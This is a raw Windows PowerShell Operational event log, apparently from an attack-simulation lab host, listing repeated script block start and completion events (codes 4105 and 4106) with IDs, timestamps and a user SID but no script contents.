Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049340
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049324
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049323
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049318
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049317
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049295
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049294
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049293
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049292
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
